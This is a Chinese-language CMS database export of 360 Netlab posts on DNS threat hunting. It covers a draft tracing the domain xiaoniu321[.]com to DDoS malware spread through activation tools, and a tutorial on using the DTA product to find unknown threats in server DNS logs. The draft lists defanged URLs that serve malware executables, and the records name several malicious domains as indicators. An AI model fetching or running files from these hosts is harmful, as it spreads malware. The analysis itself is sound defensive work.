| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 之发现\n360Netlab的DNSMon利用海量的多维度数据以及大网的DNS数据，对异常的域名进行监控判定，如果定性为恶意域名会自动生成IOC并在一定范围内进行拦截。\n\n在12.8，DNSMon在无规则的情况下拦截了一个异常的二级域名 xiaoniu321[.]com及其子域名www2.xiaoniu321[.]com 。\n\n<img src = '/content/images/2021/12/xiaoniu321.png' width=\"860px\" />\n<img src = \"/content/images/2021/12/www2.xiaoniu321.com.png\" width = \"860px\" />\n\n在12.10针对样本数据的分析中，发现样本 65982deb6ac30b9f1f4dab1aa26a0d0e 在大量扩散并且和之前拦截的域名有着密切的关系，同时注意到www2的子域名上存在如下的URL链接。\n\n```\nhttp://www2.xiaoniu321[.]com:9002/1vv/ii7.exe\nhttp://www2.xiaoniu321[.]com:9002/1vv/Nidispla2.exe\nhttp://www2.xiaoniu321[.]com:9002/111/Nidispla2.exe\n```\n\n\n1. 首先从xiaoniu321.com以及其对应的样本65982deb6ac30b9f1f4dab1aa26a0d0e 在迅速的扩散\n2. 其次xiaoniu321.com 的域名注册很新\n3. 从样本出发，发现若干近似样本与域名www1.jincc.cc有关联，并且xiaoniu321.com和jincc.cc的子域名结构很像。并且有段时间共享一个IP103.142.8.74。并且他们的URL结构很像，都包含nidisplay字样。 在10.19的时候已经被我们block了。\n4. 从流量图上来看，也存在此起彼伏的特征。\n5. 从xiaoniu123的IP上也可以关联出 7yx77.com，猜测是恶意程序运行过程中的配置文件\n6. 通过查询文件名nidisplay.exe，发现是激活工具在传播hpaccess病毒。主要是做ddos功能。\n7. 通过图系统关联，发现跟独狼有关。\n8. 通过对比配置文件，发现和独狼有关，\n\n## IOC\n```\n7yx77.com\n\n```\n\n## 参考文档\n1. https://www.bilibili.com/video/av969086155/\n2. https://bbs.huorong.cn/archiver/?tid-76990.html\n3. https://mp.weixin.qq.com/s/-Pg-4MoD9LyQN5hmS-HOow\n4. https://graph.netlab.qihoo.net/#/explorer?snapshot=61c5970a21addfb5089292ea\n5. https://www.freebuf.com/articles/system/218191.html"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 61c59ae83819e50007637589 |
post | null | 2021-12-28T07:19:57.000Z | 63873b9a8b1c1e0007f53005 | use_dta_to_illuminate_the_path_of_dns_threat_analysis_2 | 0 | 2022-01-12T02:34:22.000Z | public | published | null | 2022-01-11T08:28:10.000Z | 用DTA照亮DNS威胁分析之路 (2) | <p><em><strong>--- 对服务器网段进行未知威胁分析</strong></em></p><h2 id="-">概述</h2><p>要进行网络威胁狩猎，或者低调点叫网络威胁分析，通常需要具备3个能力：</p><!--kg-card-begin: markdown--><blockquote>
<p>1、找到线索的能力。这里的能力是特指在无先验知识(IoC等)条件下，既尽可能无漏报又不会有太多误报地从海量数据里挖掘出线索；<br>
2、确认线索是威胁的能力。线索是包含噪音的，需要去除噪音只留下有威胁的线索；<br>
3、分辨资产被真实感染的能力。只有确认真实感染，才能保证后续的威胁处置动作有成果。<br>
<small>按：由于DTA也实现有“已知”威胁分析功能，但其用法和本文描述的操作细节相差甚远，为避免混淆，特此说明一下本文所有威胁分析的用词，都是指“未知”威胁分析。</small></p>
</blockquote>
<!--kg-card-end: markdown--><p>在上一篇文章，我们提到DNS日志的优点是简单且重要。但正是福兮祸所倚，简单这个优点，从威胁分析的角度来讲它又成了最大的缺点，因为这意味着日志包含的有效信息少。具体来讲，一次DNS请求和回应所解析出来的内容，除去极个别喜欢炫技的特意使用有区分度的词语，比如hackerinvasion[.]f3322.net， hackattacks[.]org等， 大多数日志很难从字面意义上获取有效威胁信息。与此相反，倒是有不少看起来合法知名的域名被拿来从事灰黑产，比如被传成互联网段子的www[.]whitehouse[.]com。</p><p>为了让简单且重要的DNS具备威胁分析的3个能力，Netlab在过去7年时间里建立了数量众多的数据库，包括但不限于：样本网络行为的Fdark、域名注册信息的Whois、域名备案信息的ICP、证书信息的Fcerti、各类统计信息的大网PDNS等等，不谦虚地讲，这些数据的规模和质量在国内应该都是数一数二的存在。正是有了这些数据库的辅助，加上Netlab多年分析大网DNS积累的经验，才让DTA具备了第二条核心理念“让威胁分析真正有效”。</p><p>那借助DTA让用户拥有网络威胁分析能力，究竟能带来什么好处呢？</p><h2 id="--1">场景</h2><p>要说好处，我们先看现状的不足。</p><p>1、基于威胁情报触发的告警来发现威胁，其防护能力完全依赖于安全公司的情报输出，视野是有局限性的。</p><p>实践经验告诉我们，让样本、域名、IP等原始数据变成威胁情报的过程，是个智力密集型的过程，需要智力，知识，经验，技术相结合，其成本非常的高昂。这就决定了一个安全公司只能聚焦在某个自己擅长的领域内生产威胁情报，由此附带的影响就是：订阅情报的用户，视野也只能跟着局限在某个领域。记得在2020年底Netlab推出<a href="https://assess-ioc.netlab.360.com ">域名IOC（威胁情报）评估标准及评估数据服务</a>之前，曾对多家公司的威胁情报进行过评估，确实发现不同公司发布的威胁情报，重合率仅约10%，而且重合部分大多集中在开源威胁情报。</p><p>进一步地，由于威胁情报生产的困难，天生自带分享门槛，因此一个用户如果同时订阅多家安全公司的威胁情报，成本是比较高的。另一方面，安全设备里运行着的百万级别威胁情报，真正在用户网络里命中并告警的可能不足一百，回报率又很低。高成本加低回报，让大多数用户只能默认做单项选择。</p><p>2、如果入侵行动是针对特定用户的高级威胁，安全公司恰巧能输出该威胁情报的可能性几乎为零。</p><p>这里的可能性几乎为零，并不是特指安全公司没有捕获到相关样本，没看见相关域名等等。而是指由于威胁情报生产的特性，必然让安全公司优先关注影响面广的事件。高级威胁的事件，在没有资产属性辅助判断重要等级和证据链不完整的条件下，很难优先得到分析人员的关注并转化为威胁情报。</p><p>因此，把网络威胁分析能力赋能到用户网络的数据上，变被动防御为积极防御，让用户有能力输出属于自己的威胁情报，并结合公司资产的重要等级，评估威胁情报的优先级，应该是一件很有意义的事。</p><h2 id="--2">数据</h2><p>为了更好的理解如何用DTA做网络威胁分析，我们先来看看它都有哪些方面的元数据。这好比厨师做菜前，先盘一盘手头都有哪些材料，好做到心中有数。</p><p>大致来说，DTA的数据分成3类。</p><!--kg-card-begin: markdown--><table>
<thead>
<tr>
<th>类型</th>
<th>名称</th>
<th>备注</th>
</tr>
</thead>
<tbody>
<tr>
<td>用户数据</td>
<td>-</td>
<td>DNS相关字段(仅列举本文用到的部分)</td>
</tr>
<tr>
<td></td>
<td>域名</td>
<td>无</td>
</tr>
<tr>
<td></td>
<td>Rdata</td>
<td>描述域名映射的资源，比如IP，CNAME等</td>
</tr>
<tr>
<td></td>
<td>资产IP</td>
<td>请求域名解析的资产IP</td>
</tr>
<tr>
<td></td>
<td>SLD</td>
<td>二级域</td>
</tr>
<tr>
<td></td>
<td>...</td>
<td></td>
</tr>
<tr>
<td>中间数据</td>
<td>-</td>
<td>基于用户数据预处理而得(仅列举本文用到的部分)</td>
</tr>
<tr>
<td></td>
<td>资产网段</td>
<td>按A/B/C类网段划分资产IP</td>
</tr>
<tr>
<td></td>
<td>服务器</td>
<td>根据资产访问行为判定为服务器</td>
</tr>
<tr>
<td></td>
<td>内网域名</td>
<td>SLD归属部署DTA的公司</td>
</tr>
<tr>
<td></td>
<td>域名流行度</td>
<td>结合大网PDNS和公司内网访问频率等数据计算得出的流行度</td>
</tr>
<tr>
<td></td>
<td>...</td>
<td></td>
</tr>
<tr>
<td>云端数据</td>
<td>-</td>
<td>360安全相关数据(仅列举本文用到的部分)</td>
</tr>
<tr>
<td></td>
<td>IP Geo</td>
<td>IP地理位置信息</td>
</tr>
<tr>
<td></td>
<td>ICP</td>
<td>域名备案信息</td>
</tr>
<tr>
<td></td>
<td>Whois</td>
<td>域名注册信息</td>
</tr>
<tr>
<td></td>
<td>样本</td>
<td>网络访问行为数据，杀毒引擎检测结果等</td>
</tr>
<tr>
<td></td>
<td>...</td>
<td></td>
</tr>
</tbody>
</table>
<!--kg-card-end: markdown--><h2 id="--3">功能</h2><p>数据有了，接下来就是提出分析思路，然后借助DTA把思路转变成实操，最终找出潜在的威胁。本文抛砖引玉一个相对简单的例子：对服务器网段进行未知威胁分析。下面的4个小节，其实是呼应了“概述”里列举的3个能力，请读者自行对照。</p><h3 id="--4">思路</h3><p>根据经验1：服务器网段是对外提供服务的，安全防护需求较高，有优先分析的必要；设备上运行的任务明确固定，因此向外的DNS请求单一，每天只发出几十个域名，有利于分析示例。相比办公区的个人设备，DNS请求复杂多变，每天会累计发出几百个不同的域名。</p><p>又根据经验2：由于国内网络管理较为严格，恶意域名映射的主机IP一般托管在国外；同时Alexa top 100k、内网域名、有ICP备案或者Whois注册人是可靠机构的域名也不太可能是恶意域名。</p><p>在图-1，我们把上述两个经验变成DTA的操作。看过文章1的读者，可能对这个界面有些印象，它就是“多个IoC”小节提到的“威胁分析”页面，在那里，我们只是把它当成查询后台数据库工具来用，查看有没有数据命中IoC。在这里，我们则是将分析经验变成规则来操作和分析数据集，期望从中找出符合预期的数据。在选好相关选项后，点击“应用”按钮，可以观察到约700台活跃服务器一周内共访问的1000+个去重域名，变成了只剩下58个待分析的线索。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/03-4.png" class="kg-image" alt loading="lazy"><figcaption>图-1 威胁分析能力1-1</figcaption></figure><h3 id="--5">改进</h3><p>但58个域名还是偏多，理想的数量是小于等于20，原因一个是在后续的数据关联分析阶段，人可以快速处理关联结果，减少精力耗费；另一个原因是DTA的威胁情报图，启动一轮分析只会对前20条记录进行关联扩展，这样只需开启一次分析就可以:)。为减少待分析域名数量，需要进一步优化查询表达式。</p><p>改进经验1：把流行度高的域名过滤掉。因为流行度高的域名，大概率是白，如果是黑，也很容易被安全公司捕获并输出威胁情报，是未知威胁的概率低。因此把域名流行度调到8，至于为什么是8，不是7或者6，只能说是靠经验逐步调试得来，有点类似于厨师做菜时的少许盐~</p><p>改进经验2：图-1待分析域名列表包含了一些知名的站点，如“googleapis[.]com”， “gvt2[.]com” 等，通过域名SLD不等于表达式去掉。</p><p>图-2，线索只剩下20个了。观察输出列表，“morphe[.]ru” 和 “amnsreiuojy[.]ru” 有“恶意域名”红色标签，表明是命中了威胁情报，这不是我们关注的对象。因此，下一步，需要的是确认这18个线索里，有没有未知威胁。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2022/01/04.png" class="kg-image" alt loading="lazy"><figcaption>图-2 威胁分析能力1-2</figcaption></figure><h3 id="--6">确认</h3><p>点击“威胁情报图”，借助云端的安全大数据来辅助判断这18个域名的黑白。要说明的是，判定域名黑白的方法有很多，这里的示例只是其中一种，并不代表非此不可。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/05.png" class="kg-image" alt loading="lazy"><figcaption>图-3 威胁分析能力2-1</figcaption></figure><p>图-3里20个域名聚成了3类。左上角，有3个没命中威胁情报的域名*[.]deltaheavy[.]ru和2个已知的恶意域名聚在了一起，放大查看图-4通讯样本的详情，操作方法是用鼠标划停或点击样本框，均已标识为恶意样本，且为同一个家族。如果管理员能及时处理威胁情报给出的告警，这3个域名是能关联出来并清除掉的，所以它们不算是真正意义上的未知威胁。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/06-1.png" class="kg-image" alt loading="lazy"><figcaption>图-4 威胁分析能力2-2</figcaption></figure><p>继续分析，我们找到了一个没有命中威胁情报的未知威胁 “www[.]aieov[.]com” (图-5)。通过搜索，属于一个已知的恶意家族Floxif。因此，这个未知威胁属于视野局限类型的未知威胁，不是那种有针对性攻击的高级威胁。真正的高级威胁，在确认这一步需要补充更多的证据细节。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/07.png" class="kg-image" alt loading="lazy"><figcaption>图-5 威胁分析能力2-3</figcaption></figure><h3 id="--7">分辨</h3><p>在DTA系统上，通过观察资产在访问恶意域名时是不是有持续性，有没有可疑的伴生域名，源端口是随机的还是有规律的等行为细节，来分辨一个资产是不是被真实感染。</p><p>点击“威胁分析”页面的域名，跳转到域名详情页面。在右上角指定的时间范围内，通过绿色的流量图确认，有一个资产持续5天访问了该域名，说明恶意程序可能正在后台和C&C保持通信。真实感染的概率+1。多说一句题外话，如果想对单个域名做威胁分析，就在这个页面展开。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/08.png" class="kg-image" alt loading="lazy"><figcaption>图-6 威胁分析能力3-1</figcaption></figure><p>点击左侧栏的资产“10.233.*.*”，跳转到资产详情页面。选择右侧的过滤条件，把白域名都排除掉利于分析。发现了一个伴生域名“5isohu[.]com”，和已知的恶意域名访问模式一致，通过查看样本网络行为，确认样本会同时访问两个域名。真实感染的概率+1。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/09.png" class="kg-image" alt loading="lazy"><figcaption>图-7 威胁分析能力3-2</figcaption></figure><p>把左侧栏底部的滚动条拉到最右侧，点击“5isohu[.]com”最右侧的">"按钮，跳到“时间请求线”标签页，可以看到两个域名是成对出现的，且客户端端口呈随机分布，说明这是来自操作系统的请求，而不是虚拟机等测试环境的请求。真实感染的概率+1。如果有逆向分析样本的能力，还可以比较样本访问域名的逻辑是不是和左侧栏的时间间隔一致。至此，剩下的就是如何进行威胁处置了。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/10-1.png" class="kg-image" alt loading="lazy"><figcaption>图-8 威胁分析能力3-3</figcaption></figure><h2 id="--8">结语</h2><p>上述的操作过程，以DTA为操作台，将用户数据和360的安全大数据融合，找出了潜在的未知威胁。不过不知道读者有没有这样的感觉，即使是这个简单的入门示例，如果整个过程完全依赖人工一步步地从查找线索开始，到确认威胁，到最后的分辨真实感染，耗费的精力其实不小。</p><p>为了减少网络安全分析人员的工作量，DTA构建了多个模型，在后台自动完成了上述3个阶段的大部分工作，至于详情如何，下一篇介绍。</p><p>产品、商务咨询，请联系 <a href="mailto:[email protected]">[email protected]</a></p> | --- 对服务器网段进行未知威胁分析
概述
要进行网络威胁狩猎，或者低调点叫网络威胁分析，通常需要具备3个能力：
1、找到线索的能力。这里的能力是特指在无先验知识(IoC等)条件下，既尽可能无漏报又不会有太多误报地从海量数据里挖掘出线索；
2、确认线索是威胁的能力。线索是包含噪音的，需要去除噪音只留下有威胁的线索；
3、分辨资产被真实感染的能力。只有确认真实感染，才能保证后续的威胁处置动作有成果。
按：由于DTA也实现有“已知”威胁分析功能，但其用法和本文描述的操作细节相差甚远，为避免混淆，特此说明一下本文所有威胁分析的用词，都是指“未知”威胁分析。
在上一篇文章，我们提到DNS日志的优点是简单且重要。但正是福兮祸所倚，简单这个优点，从威胁分析的角度来讲它又成了最大的缺点，因为这意味着日志包含的有效信息少。具体来讲，一次DNS请求和回应所解析出来的内容，除去极个别喜欢炫技的特意使用有区分度的词语，比如hackerinvasion[.]f3322.net， hackattacks[.]org等， 大多数日志很难从字面意义上获取有效威胁信息。与此相反，倒是有不少看起来合法知名的域名被拿来从事灰黑产，比如被传成互联网段子的www[.]whitehouse[.]com。
为了让简单且重要的DNS具备威胁分析的3个能力，Netlab在过去7年时间里建立了数量众多的数据库，包括但不限于：样本网络行为的Fdark、域名注册信息的Whois、域名备案信息的ICP、证书信息的Fcerti、各类统计信息的大网PDNS等等，不谦虚地讲，这些数据的规模和质量在国内应该都是数一数二的存在。正是有了这些数据库的辅助，加上Netlab多年分析大网DNS积累的经验，才让DTA具备了第二条核心理念“让威胁分析真正有效”。
那借助DTA让用户拥有网络威胁分析能力，究竟能带来什么好处呢？
场景
要说好处，我们先看现状的不足。
1、基于威胁情报触发的告警来发现威胁，其防护能力完全依赖于安全公司的情报输出，视野是有局限性的。
实践经验告诉我们，让样本、域名、IP等原始数据变成威胁情报的过程，是个智力密集型的过程，需要智力，知识，经验，技术相结合，其成本非常的高昂。这就决定了一个安全公司只能聚焦在某个自己擅长的领域内生产威胁情报，由此附带的影响就是：订阅情报的用户，视野也只能跟着局限在某个领域。记得在2020年底Netlab推出域名IOC（威胁情报）评估标准及评估数据服务之前，曾对多家公司的威胁情报进行过评估，确实发现不同公司发布的威胁情报，重合率仅约10%，而且重合部分大多集中在开源威胁情报。
进一步地，由于威胁情报生产的困难，天生自带分享门槛，因此一个用户如果同时订阅多家安全公司的威胁情报，成本是比较高的。另一方面，安全设备里运行着的百万级别威胁情报，真正在用户网络里命中并告警的可能不足一百，回报率又很低。高成本加低回报，让大多数用户只能默认做单项选择。
2、如果入侵行动是针对特定用户的高级威胁，安全公司恰巧能输出该威胁情报的可能性几乎为零。
这里的可能性几乎为零，并不是特指安全公司没有捕获到相关样本，没看见相关域名等等。而是指由于威胁情报生产的特性，必然让安全公司优先关注影响面广的事件。高级威胁的事件，在没有资产属性辅助判断重要等级和证据链不完整的条件下，很难优先得到分析人员的关注并转化为威胁情报。
因此，把网络威胁分析能力赋能到用户网络的数据上，变被动防御为积极防御，让用户有能力输出属于自己的威胁情报，并结合公司资产的重要等级，评估威胁情报的优先级，应该是一件很有意义的事。
数据
为了更好的理解如何用DTA做网络威胁分析，我们先来看看它都有哪些方面的元数据。这好比厨师做菜前，先盘一盘手头都有哪些材料，好做到心中有数。
大致来说，DTA的数据分成3类。
类型
名称
备注
用户数据
-
DNS相关字段(仅列举本文用到的部分)
域名
无
Rdata
描述域名映射的资源，比如IP，CNAME等
资产IP
请求域名解析的资产IP
SLD
二级域
...
中间数据
-
基于用户数据预处理而得(仅列举本文用到的部分)
资产网段
按A/B/C类网段划分资产IP
服务器
根据资产访问行为判定为服务器
内网域名
SLD归属部署DTA的公司
域名流行度
结合大网PDNS和公司内网访问频率等数据计算得出的流行度
...
云端数据
-
360安全相关数据(仅列举本文用到的部分)
IP Geo
IP地理位置信息
ICP
域名备案信息
Whois
域名注册信息
样本
网络访问行为数据，杀毒引擎检测结果等
...
功能
数据有了，接下来就是提出分析思路，然后借助DTA把思路转变成实操，最终找出潜在的威胁。本文抛砖引玉一个相对简单的例子：对服务器网段进行未知威胁分析。下面的4个小节，其实是呼应了“概述”里列举的3个能力，请读者自行对照。
思路
根据经验1：服务器网段是对外提供服务的，安全防护需求较高，有优先分析的必要；设备上运行的任务明确固定，因此向外的DNS请求单一，每天只发出几十个域名，有利于分析示例。相比办公区的个人设备，DNS请求复杂多变，每天会累计发出几百个不同的域名。
又根据经验2：由于国内网络管理较为严格，恶意域名映射的主机IP一般托管在国外；同时Alexa top 100k、内网域名、有ICP备案或者Whois注册人是可靠机构的域名也不太可能是恶意域名。
在图-1，我们把上述两个经验变成DTA的操作。看过文章1的读者，可能对这个界面有些印象，它就是“多个IoC”小节提到的“威胁分析”页面，在那里，我们只是把它当成查询后台数据库工具来用，查看有没有数据命中IoC。在这里，我们则是将分析经验变成规则来操作和分析数据集，期望从中找出符合预期的数据。在选好相关选项后，点击“应用”按钮，可以观察到约700台活跃服务器一周内共访问的1000+个去重域名，变成了只剩下58个待分析的线索。
改进
但58个域名还是偏多，理想的数量是小于等于20，原因一个是在后续的数据关联分析阶段，人可以快速处理关联结果，减少精力耗费；另一个原因是DTA的威胁情报图，启动一轮分析只会对前20条记录进行关联扩展，这样只需开启一次分析就可以:)。为减少待分析域名数量，需要进一步优化查询表达式。
改进经验1：把流行度高的域名过滤掉。因为流行度高的域名，大概率是白，如果是黑，也很容易被安全公司捕获并输出威胁情报，是未知威胁的概率低。因此把域名流行度调到8，至于为什么是8，不是7或者6，只能说是靠经验逐步调试得来，有点类似于厨师做菜时的少许盐~
改进经验2：图-1待分析域名列表包含了一些知名的站点，如“googleapis[.]com”， “gvt2[.]com” 等，通过域名SLD不等于表达式去掉。
图-2，线索只剩下20个了。观察输出列表，“morphe[.]ru” 和 “amnsreiuojy[.]ru” 有“恶意域名”红色标签，表明是命中了威胁情报，这不是我们关注的对象。因此，下一步，需要的是确认这18个线索里，有没有未知威胁。
确认
点击“威胁情报图”，借助云端的安全大数据来辅助判断这18个域名的黑白。要说明的是，判定域名黑白的方法有很多，这里的示例只是其中一种，并不代表非此不可。
图-3里20个域名聚成了3类。左上角，有3个没命中威胁情报的域名*[.]deltaheavy[.]ru和2个已知的恶意域名聚在了一起，放大查看图-4通讯样本的详情，操作方法是用鼠标划停或点击样本框，均已标识为恶意样本，且为同一个家族。如果管理员能及时处理威胁情报给出的告警，这3个域名是能关联出来并清除掉的，所以它们不算是真正意义上的未知威胁。
继续分析，我们找到了一个没有命中威胁情报的未知威胁 “www[.]aieov[.]com” (图-5)。通过搜索，属于一个已知的恶意家族Floxif。因此，这个未知威胁属于视野局限类型的未知威胁，不是那种有针对性攻击的高级威胁。真正的高级威胁，在确认这一步需要补充更多的证据细节。
分辨
在DTA系统上，通过观察资产在访问恶意域名时是不是有持续性，有没有可疑的伴生域名，源端口是随机的还是有规律的等行为细节，来分辨一个资产是不是被真实感染。
点击“威胁分析”页面的域名，跳转到域名详情页面。在右上角指定的时间范围内，通过绿色的流量图确认，有一个资产持续5天访问了该域名，说明恶意程序可能正在后台和C&C保持通信。真实感染的概率+1。多说一句题外话，如果想对单个域名做威胁分析，就在这个页面展开。
点击左侧栏的资产“10.233.*.*”，跳转到资产详情页面。选择右侧的过滤条件，把白域名都排除掉利于分析。发现了一个伴生域名“5isohu[.]com”，和已知的恶意域名访问模式一致，通过查看样本网络行为，确认样本会同时访问两个域名。真实感染的概率+1。
把左侧栏底部的滚动条拉到最右侧，点击“5isohu[.]com”最右侧的">"按钮，跳到“时间请求线”标签页，可以看到两个域名是成对出现的，且客户端端口呈随机分布，说明这是来自操作系统的请求，而不是虚拟机等测试环境的请求。真实感染的概率+1。如果有逆向分析样本的能力，还可以比较样本访问域名的逻辑是不是和左侧栏的时间间隔一致。至此，剩下的就是如何进行威胁处置了。
结语
上述的操作过程，以DTA为操作台，将用户数据和360的安全大数据融合，找出了潜在的未知威胁。不过不知道读者有没有这样的感觉，即使是这个简单的入门示例，如果整个过程完全依赖人工一步步地从查找线索开始，到确认威胁，到最后的分辨真实感染，耗费的精力其实不小。
为了减少网络安全分析人员的工作量，DTA构建了多个模型，在后台自动完成了上述3个阶段的大部分工作，至于详情如何，下一篇介绍。
产品、商务咨询，请联系 [email protected] | {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"> 1、找到线索的能力。这里的能力是特指在无先验知识(IoC等)条件下，既尽可能无漏报又不会有太多误报地从海量数据里挖掘出线索；\n>2、确认线索是威胁的能力。线索是包含噪音的，需要去除噪音只留下有威胁的线索；\n>3、分辨资产被真实感染的能力。只有确认真实感染，才能保证后续的威胁处置动作有成果。\n><small>按：由于DTA也实现有“已知”威胁分析功能，但其用法和本文描述的操作细节相差甚远，为避免混淆，特此说明一下本文所有威胁分析的用词，都是指“未知”威胁分析。</small>"}],["markdown",{"markdown":"| 类型 | 名称 | 备注 |\n| ---- | ---- | ---- |\n| 用户数据 | - | DNS相关字段(仅列举本文用到的部分) |\n| | 域名 | 无 |\n| | Rdata | 描述域名映射的资源，比如IP，CNAME等 |\n| | 资产IP | 请求域名解析的资产IP |\n| | SLD | 二级域 |\n| | ... | |\n| 中间数据 | - | 基于用户数据预处理而得(仅列举本文用到的部分) |\n| | 资产网段 | 按A/B/C类网段划分资产IP |\n| | 服务器 | 根据资产访问行为判定为服务器 |\n| | 内网域名 | SLD归属部署DTA的公司 |\n| | 域名流行度 | 结合大网PDNS和公司内网访问频率等数据计算得出的流行度 |\n| | ... | |\n| 云端数据 | - | 360安全相关数据(仅列举本文用到的部分) |\n| | IP Geo | IP地理位置信息 |\n| | ICP | 域名备案信息 |\n| | Whois | 域名注册信息 |\n| | 样本 | 网络访问行为数据，杀毒引擎检测结果等 |\n| | ... | |"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/03-4.png","caption":"图-1 威胁分析能力1-1"}],["image",{"src":"__GHOST_URL__/content/images/2022/01/04.png","caption":"图-2 威胁分析能力1-2"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/05.png","caption":"图-3 威胁分析能力2-1"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/06-1.png","caption":"图-4 威胁分析能力2-2"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/07.png","caption":"图-5 威胁分析能力2-3"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/08.png","caption":"图-6 威胁分析能力3-1"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/09.png","caption":"图-7 威胁分析能力3-2"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/10-1.png","caption":"图-8 威胁分析能力3-3"}]],"markups":[["em"],["strong"],["a",["href","https://assess-ioc.netlab.360.com "]],["a",["href","mailto:[email protected]"]]],"sections":[[1,"p",[[0,[0,1],2,"--- 对服务器网段进行未知威胁分析"]]],[1,"h2",[[0,[],0,"概述"]]],[1,"p",[[0,[],0,"要进行网络威胁狩猎，或者低调点叫网络威胁分析，通常需要具备3个能力："]]],[10,0],[1,"p",[[0,[],0,"在上一篇文章，我们提到DNS日志的优点是简单且重要。但正是福兮祸所倚，简单这个优点，从威胁分析的角度来讲它又成了最大的缺点，因为这意味着日志包含的有效信息少。具体来讲，一次DNS请求和回应所解析出来的内容，除去极个别喜欢炫技的特意使用有区分度的词语，比如hackerinvasion[.]f3322.net， hackattacks[.]org等， 大多数日志很难从字面意义上获取有效威胁信息。与此相反，倒是有不少看起来合法知名的域名被拿来从事灰黑产，比如被传成互联网段子的www[.]whitehouse[.]com。"]]],[1,"p",[[0,[],0,"为了让简单且重要的DNS具备威胁分析的3个能力，Netlab在过去7年时间里建立了数量众多的数据库，包括但不限于：样本网络行为的Fdark、域名注册信息的Whois、域名备案信息的ICP、证书信息的Fcerti、各类统计信息的大网PDNS等等，不谦虚地讲，这些数据的规模和质量在国内应该都是数一数二的存在。正是有了这些数据库的辅助，加上Netlab多年分析大网DNS积累的经验，才让DTA具备了第二条核心理念“让威胁分析真正有效”。"]]],[1,"p",[[0,[],0,"那借助DTA让用户拥有网络威胁分析能力，究竟能带来什么好处呢？"]]],[1,"h2",[[0,[],0,"场景"]]],[1,"p",[[0,[],0,"要说好处，我们先看现状的不足。"]]],[1,"p",[[0,[],0,"1、基于威胁情报触发的告警来发现威胁，其防护能力完全依赖于安全公司的情报输出，视野是有局限性的。"]]],[1,"p",[[0,[],0,"实践经验告诉我们，让样本、域名、IP等原始数据变成威胁情报的过程，是个智力密集型的过程，需要智力，知识，经验，技术相结合，其成本非常的高昂。这就决定了一个安全公司只能聚焦在某个自己擅长的领域内生产威胁情报，由此附带的影响就是：订阅情报的用户，视野也只能跟着局限在某个领域。记得在2020年底Netlab推出"],[0,[2],1,"域名IOC（威胁情报）评估标准及评估数据服务"],[0,[],0,"之前，曾对多家公司的威胁情报进行过评估，确实发现不同公司发布的威胁情报，重合率仅约10%，而且重合部分大多集中在开源威胁情报。"]]],[1,"p",[[0,[],0,"进一步地，由于威胁情报生产的困难，天生自带分享门槛，因此一个用户如果同时订阅多家安全公司的威胁情报，成本是比较高的。另一方面，安全设备里运行着的百万级别威胁情报，真正在用户网络里命中并告警的可能不足一百，回报率又很低。高成本加低回报，让大多数用户只能默认做单项选择。"]]],[1,"p",[[0,[],0,"2、如果入侵行动是针对特定用户的高级威胁，安全公司恰巧能输出该威胁情报的可能性几乎为零。"]]],[1,"p",[[0,[],0,"这里的可能性几乎为零，并不是特指安全公司没有捕获到相关样本，没看见相关域名等等。而是指由于威胁情报生产的特性，必然让安全公司优先关注影响面广的事件。高级威胁的事件，在没有资产属性辅助判断重要等级和证据链不完整的条件下，很难优先得到分析人员的关注并转化为威胁情报。"]]],[1,"p",[[0,[],0,"因此，把网络威胁分析能力赋能到用户网络的数据上，变被动防御为积极防御，让用户有能力输出属于自己的威胁情报，并结合公司资产的重要等级，评估威胁情报的优先级，应该是一件很有意义的事。"]]],[1,"h2",[[0,[],0,"数据"]]],[1,"p",[[0,[],0,"为了更好的理解如何用DTA做网络威胁分析，我们先来看看它都有哪些方面的元数据。这好比厨师做菜前，先盘一盘手头都有哪些材料，好做到心中有数。"]]],[1,"p",[[0,[],0,"大致来说，DTA的数据分成3类。"]]],[10,1],[1,"h2",[[0,[],0,"功能"]]],[1,"p",[[0,[],0,"数据有了，接下来就是提出分析思路，然后借助DTA把思路转变成实操，最终找出潜在的威胁。本文抛砖引玉一个相对简单的例子：对服务器网段进行未知威胁分析。下面的4个小节，其实是呼应了“概述”里列举的3个能力，请读者自行对照。"]]],[1,"h3",[[0,[],0,"思路"]]],[1,"p",[[0,[],0,"根据经验1：服务器网段是对外提供服务的，安全防护需求较高，有优先分析的必要；设备上运行的任务明确固定，因此向外的DNS请求单一，每天只发出几十个域名，有利于分析示例。相比办公区的个人设备，DNS请求复杂多变，每天会累计发出几百个不同的域名。"]]],[1,"p",[[0,[],0,"又根据经验2：由于国内网络管理较为严格，恶意域名映射的主机IP一般托管在国外；同时Alexa top 